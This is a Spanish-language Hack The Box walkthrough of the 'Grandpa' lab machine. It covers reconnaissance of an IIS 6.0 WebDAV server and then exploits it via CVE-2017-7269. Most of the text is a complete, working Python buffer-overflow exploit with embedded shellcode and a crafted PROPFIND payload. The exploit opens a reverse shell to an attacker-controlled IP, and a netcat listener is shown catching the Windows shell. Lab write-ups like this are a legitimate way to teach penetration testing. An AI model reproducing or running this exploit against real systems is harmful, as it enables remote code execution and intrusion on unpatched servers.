m3m16

m3m16

Pentester, CTF player
HackTheBox Cyb3rNom4ds Team

Grandpa - Hack The Box

 

Pasted image 20240922203625.png

RECONOCIMIENTO

  • Empezamos haciendo una conexión para ver contra que tipo de sistema nos estamos enfrentando
ping -c 1 10.10.10.14
PING 10.10.10.14 (10.10.10.14) 56(84) bytes of data.
64 bytes from 10.10.10.14: icmp_seq=1 ttl=127 time=43.4 ms

--- 10.10.10.14 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 43.376/43.376/43.376/0.000 ms

Como podemos ver según el ttl nos estamos enfrentando a una maquina Windows

  • Reconocimiento de puertos abiertos en la maquina
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.14 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 17:55 UTC
Initiating SYN Stealth Scan at 17:55
Scanning 10.10.10.14 [65535 ports]
Discovered open port 80/tcp on 10.10.10.14
Completed SYN Stealth Scan at 17:55, 26.38s elapsed (65535 total ports)
Nmap scan report for 10.10.10.14
Host is up, received user-set (0.042s latency).
Scanned at 2024-09-22 17:55:31 UTC for 26s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 21 (924B)

Como vemos hay un único puerto abierto dentro de la maquina que en este caso es el puerto 80.

  • Servicios corriendo detrás del dicho puerto
nmap -p80 -sCV 10.10.10.14 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 17:57 UTC
Nmap scan report for 10.10.10.14
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Error
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
| http-ntlm-info: 
|   Target_Name: GRANPA
|   NetBIOS_Domain_Name: GRANPA
|   NetBIOS_Computer_Name: GRANPA
|   DNS_Domain_Name: granpa
|   DNS_Computer_Name: granpa
|_  Product_Version: 5.2.3790
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   Server Date: Sun, 22 Sep 2024 17:57:45 GMT
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.89 seconds

Como vemos debajo del puerto 80 esta corriendo un webdav Microsoft-IIS/6.0, lo primero que salta a la vista es que la versión esta desactualizada, lo segundo que vemos mas atractivo para intentar vulnerar son los métodos activos que tienen dentro del servicio.

  • Reconocimiento básico del servicio Webdav
curl -s -X OPTIONS http://10.10.10.14 -I
HTTP/1.1 200 OK
Date: Sun, 22 Sep 2024 18:02:58 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
MS-Author-Via: MS-FP/4.0,DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

Con el comando anterior lo que hemos hecho es listar los diferentes tipos de métodos permitidos por el servidor pero ya adelanto que ninguno servirá en este caso, de todas formas hay mas herramientas de reconocimiento para este servicio que podemos utilizar.

  • Uso de la herramienta davtest
davtest -url http://10.10.10.14
********************************************************
 Testing DAV connection
OPEN		SUCCEED:		http://10.10.10.14
********************************************************
NOTE	Random string for this session: RlMSynPi
********************************************************
 Creating directory
MKCOL		FAIL
********************************************************
 Sending test files
PUT	jsp	FAIL
PUT	asp	FAIL
PUT	txt	FAIL
PUT	html	FAIL
PUT	cgi	FAIL
PUT	pl	FAIL
PUT	cfm	FAIL
PUT	php	FAIL
PUT	shtml	FAIL
PUT	jhtml	FAIL
PUT	aspx	FAIL

********************************************************
/usr/bin/davtest Summary:

Da todo fallo debido a que el método PUT no esta permitido en el server por lo que esto tampoco no sirve.

  • Uso de la herramienta cadaver
cadaver 10.10.10.14
dav:/> ls
Listing collection `/': collection is empty.
dav:/>

A groso modo en este caso tampoco nos servirá de nada el uso de la herramienta cadaver, pero básicamente esta sirve para conectarnos al servicio webdav y poder listar el contenido, subir/descargar ficheros internos, etc…

EXPLOTACION DEL SERVICIO

  • Como hemos mencionado anteriormente el servicio esta desactualizado, por lo que haciendo una búsqueda exhaustiva hemos encontrado exploits sobre buffer-overflow en dicha versión del servicio, hemos encontrado el CVE de dicha vulnerabilidad que es [2017-7269] y el exploit que he utilizado es el siguiente
import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'usage:iis6webdav.py targetip targetport reverseip reverseport\n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='\x55\x8B\xEC\x81\xEC\xDC\x05\x00\x00\x53\x56\x57\x8B\x45\x08\x8B'+\
'\x40\x78\x89\x85\xE4\xFA\xFF\xFF\x8B\x45\x08\x8B\x40\x70\x89\x45'+\
'\xFC\xC7\x85\xC8\xFC\xFF\xFF\x77\x73\x32\x5F\xC7\x85\xCC\xFC\xFF'+\
'\xFF\x33\x32\x2E\x64\xC7\x85\xD0\xFC\xFF\xFF\x6C\x6C\x00\x00\xC7'+\
'\x85\xD8\xFA\xFF\xFF\x57\x53\x41\x53\xC7\x85\xDC\xFA\xFF\xFF\x74'+\
'\x61\x72\x74\xC7\x85\xE0\xFA\xFF\xFF\x75\x70\x00\x00\xC7\x85\x58'+\
'\xFA\xFF\xFF\x57\x53\x41\x53\xC7\x85\x5C\xFA\xFF\xFF\x6F\x63\x6B'+\
'\x65\xC7\x85\x60\xFA\xFF\xFF\x74\x41\x00\x00\xC7\x85\xE8\xFC\xFF'+\
'\xFF\x57\x53\x41\x43\xC7\x85\xEC\xFC\xFF\xFF\x6F\x6E\x6E\x65\xC7'+\
'\x85\xF0\xFC\xFF\xFF\x63\x74\x00\x00\xC7\x85\xA8\xFA\xFF\xFF\x69'+\
'\x6E\x65\x74\xC7\x85\xAC\xFA\xFF\xFF\x5F\x61\x64\x64\xC7\x85\xB0'+\
'\xFA\xFF\xFF\x72\x00\x00\x00\xC7\x85\x14\xFD\xFF\xFF\x68\x74\x6F'+\
'\x6E\xC7\x85\x18\xFD\xFF\xFF\x73\x00\x00\x00\xC7\x85\xF4\xFC\xFF'+\
'\xFF\x43\x3A\x5C\x57\xC7\x85\xF8\xFC\xFF\xFF\x69\x6E\x64\x6F\xC7'+\
'\x85\xFC\xFC\xFF\xFF\x77\x73\x5C\x73\xC7\x85\x00\xFD\xFF\xFF\x79'+\
'\x73\x74\x65\xC7\x85\x04\xFD\xFF\xFF\x6D\x33\x32\x5C\xC7\x85\x08'+\
'\xFD\xFF\xFF\x63\x6D\x64\x2E\xC7\x85\x0C\xFD\xFF\xFF\x65\x78\x65'+\
'\x00\xC7\x85\x18\xFB\xFF\xFF\x43\x3A\x5C\x57\xC7\x85\x1C\xFB\xFF'+\
'\xFF\x69\x6E\x64\x6F\xC7\x85\x20\xFB\xFF\xFF\x77\x73\x5C\x73\xC7'+\
'\x85\x24\xFB\xFF\xFF\x79\x73\x74\x65\xC7\x85\x28\xFB\xFF\xFF\x6D'+\
'\x33\x32\x5C\xC7\x85\x2C\xFB\xFF\xFF\x63\x61\x6C\x63\xC7\x85\x30'+\
'\xFB\xFF\xFF\x2E\x65\x78\x65\x83\xA5\x34\xFB\xFF\xFF\x00\xC7\x85'+\
'\xE8\xFA\xFF\xFF\x43\x3A\x5C\x57\xC7\x85\xEC\xFA\xFF\xFF\x49\x4E'+\
'\x44\x4F\xC7\x85\xF0\xFA\xFF\xFF\x57\x53\x5C\x49\xC7\x85\xF4\xFA'+\
'\xFF\xFF\x49\x53\x20\x54\xC7\x85\xF8\xFA\xFF\xFF\x65\x6D\x70\x6F'+\
'\xC7\x85\xFC\xFA\xFF\xFF\x72\x61\x72\x79\xC7\x85\x00\xFB\xFF\xFF'+\
'\x20\x43\x6F\x6D\xC7\x85\x04\xFB\xFF\xFF\x70\x72\x65\x73\xC7\x85'+\
'\x08\xFB\xFF\xFF\x73\x65\x64\x20\xC7\x85\x0C\xFB\xFF\xFF\x46\x69'+\
'\x6C\x65\xC7\x85\x10\xFB\xFF\xFF\x73\x5C\x63\x2E\xC7\x85\x14\xFB'+\
'\xFF\xFF\x65\x78\x65\x00\xC7\x85\xD0\xFA\xFF\xFF'+struct.pack('i',reverseport)+\
'\xE9\x3E\x04\x00\x00\x5F\x89\xBD\xB4\xFA\xFF\xFF\xE8\x4C\x04\x00'+\
'\x00\x89\x85\x24\xFA\xFF\xFF\x68\x53\xC0\x49\x9C\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x5D\x04\x00\x00\x59\x59\x89\x85\x28\xFA\xFF\xFF\x68'+\
'\x5A\xC1\xCB\xC2\xFF\xB5\x24\xFA\xFF\xFF\xE8\x45\x04\x00\x00\x59'+\
'\x59\x89\x85\x2C\xFA\xFF\xFF\x68\x1C\xC9\x05\xBA\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x2D\x04\x00\x00\x59\x59\x89\x85\x30\xFA\xFF\xFF\x68'+\
'\x54\x34\x4F\xA2\xFF\xB5\x24\xFA\xFF\xFF\xE8\x15\x04\x00\x00\x59'+\
'\x59\x89\x85\x34\xFA\xFF\xFF\x68\x12\x75\x1D\x45\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\xFD\x03\x00\x00\x59\x59\x89\x85\x38\xFA\xFF\xFF\x68'+\
'\xE9\x65\x73\x1B\xFF\xB5\x24\xFA\xFF\xFF\xE8\xE5\x03\x00\x00\x59'+\
'\x59\x89\x85\x3C\xFA\xFF\xFF\x68\x3A\xFD\xFB\x1E\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\xCD\x03\x00\x00\x59\x59\x89\x85\x40\xFA\xFF\xFF\x68'+\
'\xBD\x50\xD7\x2D\xFF\xB5\x24\xFA\xFF\xFF\xE8\xB5\x03\x00\x00\x59'+\
'\x59\x89\x85\x44\xFA\xFF\xFF\x68\xEF\x60\x08\xE7\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x9D\x03\x00\x00\x59\x59\x89\x85\x48\xFA\xFF\xFF\x68'+\
'\x83\x94\x7B\x10\xFF\xB5\x24\xFA\xFF\xFF\xE8\x85\x03\x00\x00\x59'+\
'\x59\x89\x85\x4C\xFA\xFF\xFF\x68\x49\x17\x55\xC0\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x6D\x03\x00\x00\x59\x59\x89\x85\x50\xFA\xFF\xFF\x68'+\
'\xD9\xE5\x1A\x06\xFF\xB5\x24\xFA\xFF\xFF\xE8\x55\x03\x00\x00\x59'+\
'\x59\x89\x85\x54\xFA\xFF\xFF\x8D\x85\xC8\xFC\xFF\xFF\x50\xFF\x95'+\
'\x28\xFA\xFF\xFF\x89\x85\x1C\xFD\xFF\xFF\x83\xBD\x1C\xFD\xFF\xFF'+\
'\x00\x0F\x84\x39\x01\x00\x00\x83\xA5\xD4\xFA\xFF\xFF\x00\xEB\x0D'+\
'\x8B\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF\xFF\x83\xBD\xD4'+\
'\xFA\xFF\xFF\x44\x73\x10\x8B\x85\xD4\xFA\xFF\xFF\x80\xA4\x05\x64'+\
'\xFA\xFF\xFF\x00\xEB\xDA\x83\xA5\xD4\xFA\xFF\xFF\x00\xEB\x0D\x8B'+\
'\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF\xFF\x83\xBD\xD4\xFA'+\
'\xFF\xFF\x10\x73\x10\x8B\x85\xD4\xFA\xFF\xFF\x80\xA4\x05\x20\xFD'+\
'\xFF\xFF\x00\xEB\xDA\x8D\x85\x20\xFD\xFF\xFF\x50\x8D\x85\x64\xFA'+\
'\xFF\xFF\x50\x6A\x00\x6A\x00\x6A\x04\x6A\x00\x6A\x00\x6A\x00\x6A'+\
'\x00\x8D\x85\x18\xFB\xFF\xFF\x50\xFF\x95\x34\xFA\xFF\xFF\xFF\xB5'+\
'\x24\xFD\xFF\xFF\xFF\x95\x3C\xFA\xFF\xFF\x68\xE8\x03\x00\x00\xFF'+\
'\x95\x54\xFA\xFF\xFF\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x40\xFA\xFF'+\
'\xFF\xC7\x85\x30\xFD\xFF\xFF\x01\x00\x01\x00\x8D\x85\x30\xFD\xFF'+\
'\xFF\x50\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x44\xFA\xFF\xFF\x6A\x40'+\
'\x68\x00\x10\x00\x00\xFF\x75\xFC\x6A\x00\xFF\xB5\x20\xFD\xFF\xFF'+\
'\xFF\x95\x48\xFA\xFF\xFF\x89\x85\x10\xFD\xFF\xFF\x6A\x00\xFF\x75'+\
'\xFC\xFF\xB5\xE4\xFA\xFF\xFF\xFF\xB5\x10\xFD\xFF\xFF\xFF\xB5\x20'+\
'\xFD\xFF\xFF\xFF\x95\x4C\xFA\xFF\xFF\x8B\x85\x10\xFD\xFF\xFF\x89'+\
'\x85\xE8\xFD\xFF\xFF\xC7\x85\x30\xFD\xFF\xFF\x01\x00\x01\x00\x8D'+\
'\x85\x30\xFD\xFF\xFF\x50\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x50\xFA'+\
'\xFF\xFF\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x3C\xFA\xFF\xFF\xEB\x1E'+\
'\x6A\x00\x8D\x85\xE8\xFA\xFF\xFF\x50\x8D\x85\xF4\xFC\xFF\xFF\x50'+\
'\xFF\x95\x30\xFA\xFF\xFF\x6A\x01\xFF\x95\x38\xFA\xFF\xFF\x68\x70'+\
'\x17\x00\x00\xFF\x95\x54\xFA\xFF\xFF\x8D\x85\xD8\xFA\xFF\xFF\x50'+\
'\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85\xBC\xFA'+\
'\xFF\xFF\x8D\x85\x58\xFA\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF'+\
'\x95\x2C\xFA\xFF\xFF\x89\x85\xC0\xFA\xFF\xFF\x8D\x85\xE8\xFC\xFF'+\
'\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85'+\
'\xC4\xFA\xFF\xFF\x8D\x85\xA8\xFA\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF'+\
'\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85\xC8\xFA\xFF\xFF\x8D\x85\x14'+\
'\xFD\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF'+\
'\x89\x85\xCC\xFA\xFF\xFF\x8D\x85\x38\xFB\xFF\xFF\x50\x68\x02\x02'+\
'\x00\x00\xFF\x95\xBC\xFA\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06'+\
'\x6A\x01\x6A\x02\xFF\x95\xC0\xFA\xFF\xFF\x89\x85\xD4\xFC\xFF\xFF'+\
'\x66\xC7\x85\xD8\xFC\xFF\xFF\x02\x00\xFF\xB5\xD0\xFA\xFF\xFF\xFF'+\
'\x95\xCC\xFA\xFF\xFF\x66\x89\x85\xDA\xFC\xFF\xFF\xFF\xB5\xB4\xFA'+\
'\xFF\xFF\xFF\x95\xC8\xFA\xFF\xFF\x89\x85\xDC\xFC\xFF\xFF\x6A\x00'+\
'\x6A\x00\x6A\x00\x6A\x00\x6A\x10\x8D\x85\xD8\xFC\xFF\xFF\x50\xFF'+\
'\xB5\xD4\xFC\xFF\xFF\xFF\x95\xC4\xFA\xFF\xFF\x83\xA5\xD4\xFA\xFF'+\
'\xFF\x00\xEB\x0D\x8B\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF'+\
'\xFF\x83\xBD\xD4\xFA\xFF\xFF\x44\x73\x10\x8B\x85\xD4\xFA\xFF\xFF'+\
'\x80\xA4\x05\x64\xFA\xFF\xFF\x00\xEB\xDA\xC7\x85\x64\xFA\xFF\xFF'+\
'\x44\x00\x00\x00\xC7\x85\x90\xFA\xFF\xFF\x01\x01\x00\x00\x8B\x85'+\
'\xD4\xFC\xFF\xFF\x89\x85\xA4\xFA\xFF\xFF\x8B\x85\xA4\xFA\xFF\xFF'+\
'\x89\x85\xA0\xFA\xFF\xFF\x8B\x85\xA0\xFA\xFF\xFF\x89\x85\x9C\xFA'+\
'\xFF\xFF\x8D\x85\x20\xFD\xFF\xFF\x50\x8D\x85\x64\xFA\xFF\xFF\x50'+\
'\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x85\xE8\xFA'+\
'\xFF\xFF\x50\x6A\x00\xFF\x95\x34\xFA\xFF\xFF\x6A\x01\xFF\x95\x38'+\
'\xFA\xFF\xFF\xE8\xBD\xFB\xFF\xFF'+struct.pack('16s',reverseip)+'\x5F\x5E\x5B\xC9\xC3\x64\xA1\x18'+\
'\x00\x00\x00\x8B\x40\x30\x33\xC9\x8B\x40\x0C\x8B\x40\x1C\x8B\x00'+\
'\x8B\x50\x20\x66\x83\x7A\x10\x2E\x74\x06\x41\x83\xF9\x02\x7C\xEE'+\
'\x8B\x40\x08\xC3\x55\x8B\xEC\x53\x56\x57\x8B\x7D\x08\x83\x65\x08'+\
'\x00\x8B\x47\x3C\x8B\x44\x38\x78\x03\xC7\x8B\x70\x20\x03\xF7\x83'+\
'\x78\x18\x00\x76\x2A\x8B\x0E\x03\xCF\x33\xDB\x8A\x11\x84\xD2\x74'+\
'\x0B\x6B\xDB\x21\x0F\xBE\xD2\x03\xDA\x41\xEB\xEF\x3B\x5D\x0C\x74'+\
'\x15\x83\xC6\x04\xFF\x45\x08\x8B\x4D\x08\x3B\x48\x18\x72\xD6\x33'+\
'\xC0\x5F\x5E\x5B\x5D\xC3\x8B\x48\x24\x8B\x55\x08\x8B\x40\x1C\x8D'+\
'\x0C\x51\x0F\xB7\x0C\x39\x8D\x04\x88\x8B\x04\x38\x03\xC7\xEB\xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: %d\r\n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>\r\n\r\n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close

Es un script desarrollado en python que nos automatiza la explotación de la versión especifica de dicho servicio haciendo el uso del desbordamiento de la memoria del buffer.

OBTENCION DE LA REVERSE SHELL

  • Ejecutamos nuestro script y nos ponemos en escucha por el puerto que le hayamos indicado
python2.7 iis.py 10.10.10.14 80 10.10.16.13 443
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇㔹呪倴呃睒偡㈲测水㉇扁㝍兡塢䝳剐㙰畄桪㍴乊硫䥶乳䱪坺潱塊㈰㝮䭉前䡣潌畖畵景癨䑍偰稶手敗畐橲穫睢癘扈攱ご汹偊呢倳㕷橷䅄㌴摶䵆噔䝬敃瘲牸坩䌸扲娰夸呈ȂȂዀ栃汄剖䬷汭佘塚祐䥪塏䩒䅐晍Ꮐ栃䠴攱潃湦瑁䍬Ꮐ栃千橁灒㌰塦䉌灋捆关祁穐䩬> (Not <locktoken:write1>) <http://localhost/bbbbbbb祈慵佃潧歯䡅㙆杵䐳㡱坥婢吵噡楒橓兗㡎奈捕䥱䍤摲㑨䝘煹㍫歕浈偏穆㑱潔瑃奖潯獁㑗慨穲㝅䵉坎呈䰸㙺㕲扦湃䡭㕈慷䵚慴䄳䍥割浩㙱乤渹捓此兆估硯牓材䕓穣焹体䑖漶獹桷穖慊㥅㘹氹䔱㑲卥塊䑎穄氵婖扁湲昱奙吳ㅂ塥奁煐〶坷䑗卡Ꮐ栃湏栀湏栀䉇癪Ꮐ栃䉗佴奇刴䭦䭂瑤硯悂栁儵牺瑺䵇䑙块넓栀ㅶ湯ⓣ栁ᑠ栃̀翾Ꮐ栃Ѯ栃煮瑰ᐴ栃⧧栁鎑栀㤱普䥕げ呫癫牊祡ᐜ栃清栀眲票䵩㙬䑨䵰艆栀䡷㉓ᶪ栂潪䌵ᏸ栃⧧栁VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>
  • Instantáneamente nos otorga una shell en nuestro sistema
rlwrap nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.14 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
